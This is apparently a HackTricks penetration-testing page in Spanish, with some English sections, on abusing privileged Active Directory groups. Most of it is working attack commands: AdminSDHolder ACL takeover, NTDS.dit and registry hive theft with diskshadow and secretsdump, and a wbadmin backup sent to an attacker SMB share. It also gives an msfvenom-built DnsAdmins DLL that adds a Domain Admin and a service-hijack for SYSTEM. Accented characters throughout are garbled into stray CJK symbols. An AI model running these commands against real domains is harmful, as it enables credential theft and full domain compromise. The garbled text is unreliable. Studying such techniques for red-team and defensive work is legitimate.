Grupos Privilegiados

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Grupos bien conocidos con privilegios de administraci贸n

  • Administradores
  • Administradores de Dominio
  • Administradores de Empresa

Operadores de Cuenta

Este grupo tiene la capacidad de crear cuentas y grupos que no son administradores en el dominio. Adem谩s, permite el inicio de sesi贸n local en el Controlador de Dominio (DC).

Para identificar a los miembros de este grupo, se ejecuta el siguiente comando:

powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse

Agregar nuevos usuarios est谩 permitido, as铆 como el inicio de sesi贸n local en DC01.

Grupo AdminSDHolder

La lista de control de acceso (ACL) del grupo AdminSDHolder es crucial, ya que establece permisos para todos los "grupos protegidos" dentro de Active Directory, incluidos los grupos de alto privilegio. Este mecanismo garantiza la seguridad de estos grupos al prevenir modificaciones no autorizadas.

Un atacante podr铆a explotar esto modificando la ACL del grupo AdminSDHolder, otorgando permisos completos a un usuario est谩ndar. Esto le dar铆a efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario son alterados o eliminados, se restablecer铆an autom谩ticamente dentro de una hora debido al dise帽o del sistema.

Los comandos para revisar los miembros y modificar permisos incluyen:

powershell
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Un script est谩 disponible para acelerar el proceso de restauraci贸n: Invoke-ADSDPropagation.ps1.

Para m谩s detalles, visita ired.team.

Papelera de reciclaje de AD

La membres铆a en este grupo permite la lectura de objetos de Active Directory eliminados, lo que puede revelar informaci贸n sensible:

bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Acceso al Controlador de Dominio

El acceso a los archivos en el DC est谩 restringido a menos que el usuario sea parte del grupo Server Operators, lo que cambia el nivel de acceso.

Escalamiento de Privilegios

Usando PsService o sc de Sysinternals, se puede inspeccionar y modificar los permisos de los servicios. El grupo Server Operators, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecuci贸n de comandos arbitrarios y el escalamiento de privilegios:

cmd
C:\> .\PsService.exe security AppReadiness

Este comando revela que Server Operators tienen acceso completo, lo que permite la manipulaci贸n de servicios para obtener privilegios elevados.

Backup Operators

La membres铆a en el grupo Backup Operators proporciona acceso al sistema de archivos de DC01 debido a los privilegios SeBackup y SeRestore. Estos privilegios permiten la navegaci贸n por carpetas, la enumeraci贸n y la capacidad de copiar archivos, incluso sin permisos expl铆citos, utilizando la bandera FILE_FLAG_BACKUP_SEMANTICS. Es necesario utilizar scripts espec铆ficos para este proceso.

Para listar los miembros del grupo, ejecute:

powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse

Ataque Local

Para aprovechar estos privilegios localmente, se emplean los siguientes pasos:

  1. Importar las bibliotecas necesarias:
bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Habilitar y verificar SeBackupPrivilege:
bash
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Acceder y copiar archivos de directorios restringidos, por ejemplo:
bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

El acceso directo al sistema de archivos del Controlador de Dominio permite el robo de la base de datos NTDS.dit, que contiene todos los hashes NTLM para usuarios y computadoras del dominio.

Using diskshadow.exe

  1. Create a shadow copy of the C drive:
cmd
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Copia NTDS.dit de la copia de sombra:
cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternativamente, utiliza robocopy para copiar archivos:

cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Extraer SYSTEM y SAM para la recuperaci贸n de hashes:
cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Recuperar todos los hashes de NTDS.dit:
shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Usando wbadmin.exe

  1. Configura el sistema de archivos NTFS para el servidor SMB en la m谩quina atacante y almacena en cach茅 las credenciales SMB en la m谩quina objetivo.
  2. Usa wbadmin.exe para la copia de seguridad del sistema y la extracci贸n de NTDS.dit:
cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Para una demostraci贸n pr谩ctica, consulta VIDEO DEMOSTRATIVO CON IPPSEC.

DnsAdmins

Los miembros del grupo DnsAdmins pueden explotar sus privilegios para cargar un DLL arbitrario con privilegios de SYSTEM en un servidor DNS, a menudo alojado en Controladores de Dominio. Esta capacidad permite un potencial de explotaci贸n significativo.

Para listar los miembros del grupo DnsAdmins, usa:

powershell
Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Ejecutar DLL arbitraria

Los miembros pueden hacer que el servidor DNS cargue una DLL arbitraria (ya sea localmente o desde un recurso compartido remoto) utilizando comandos como:

powershell
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
c
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
bash
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Reiniciar el servicio DNS (lo que puede requerir permisos adicionales) es necesario para que se cargue el DLL:

csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Para m谩s detalles sobre este vector de ataque, consulta ired.team.

Mimilib.dll

Tambi茅n es factible usar mimilib.dll para la ejecuci贸n de comandos, modific谩ndolo para ejecutar comandos espec铆ficos o shells reversos. Consulta esta publicaci贸n para m谩s informaci贸n.

Registro WPAD para MitM

DnsAdmins pueden manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) creando un registro WPAD despu茅s de deshabilitar la lista de bloqueo de consultas global. Herramientas como Responder o Inveigh se pueden usar para suplantar y capturar tr谩fico de red.

Lectores de Registros de Eventos

Los miembros pueden acceder a los registros de eventos, encontrando potencialmente informaci贸n sensible como contrase帽as en texto plano o detalles de ejecuci贸n de comandos:

powershell
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Permisos de Windows de Exchange

Este grupo puede modificar DACLs en el objeto de dominio, lo que podr铆a otorgar privilegios de DCSync. Las t茅cnicas para la escalada de privilegios que explotan este grupo se detallan en el repositorio de GitHub Exchange-AD-Privesc.

powershell
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Administradores de Hyper-V

Los Administradores de Hyper-V tienen acceso completo a Hyper-V, lo que puede ser explotado para obtener control sobre Controladores de Dominio virtualizados. Esto incluye clonar DCs en vivo y extraer hashes NTLM del archivo NTDS.dit.

Ejemplo de Explotaci贸n

El Servicio de Mantenimiento de Mozilla Firefox puede ser explotado por los Administradores de Hyper-V para ejecutar comandos como SYSTEM. Esto implica crear un enlace duro a un archivo protegido de SYSTEM y reemplazarlo con un ejecutable malicioso:

bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Nota: La explotaci贸n de enlaces duros ha sido mitigada en las actualizaciones recientes de Windows.

Gesti贸n de la Organizaci贸n

En entornos donde se despliega Microsoft Exchange, un grupo especial conocido como Organizaci贸n Management tiene capacidades significativas. Este grupo tiene privilegios para acceder a los buzones de todos los usuarios del dominio y mantiene control total sobre la Unidad Organizativa (OU) 'Microsoft Exchange Security Groups'. Este control incluye el grupo Exchange Windows Permissions, que puede ser explotado para la escalaci贸n de privilegios.

Explotaci贸n de Privilegios y Comandos

Operadores de Impresi贸n

Los miembros del grupo Print Operators est谩n dotados de varios privilegios, incluyendo el SeLoadDriverPrivilege, que les permite iniciar sesi贸n localmente en un Controlador de Dominio, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si SeLoadDriverPrivilege no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC).

Para listar los miembros de este grupo, se utiliza el siguiente comando de PowerShell:

powershell
Get-NetGroupMember -Identity "Print Operators" -Recurse

Para obtener t茅cnicas de explotaci贸n m谩s detalladas relacionadas con SeLoadDriverPrivilege, se deben consultar recursos de seguridad espec铆ficos.

Usuarios de Escritorio Remoto

A los miembros de este grupo se les concede acceso a PCs a trav茅s del Protocolo de Escritorio Remoto (RDP). Para enumerar a estos miembros, est谩n disponibles comandos de PowerShell:

powershell
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

M谩s informaci贸n sobre la explotaci贸n de RDP se puede encontrar en recursos dedicados de pentesting.

Usuarios de Gesti贸n Remota

Los miembros pueden acceder a PCs a trav茅s de Windows Remote Management (WinRM). La enumeraci贸n de estos miembros se logra a trav茅s de:

powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Para t茅cnicas de explotaci贸n relacionadas con WinRM, se debe consultar la documentaci贸n espec铆fica.

Operadores de Servidor

Este grupo tiene permisos para realizar varias configuraciones en Controladores de Dominio, incluyendo privilegios de respaldo y restauraci贸n, cambiar la hora del sistema y apagar el sistema. Para enumerar los miembros, el comando proporcionado es:

powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks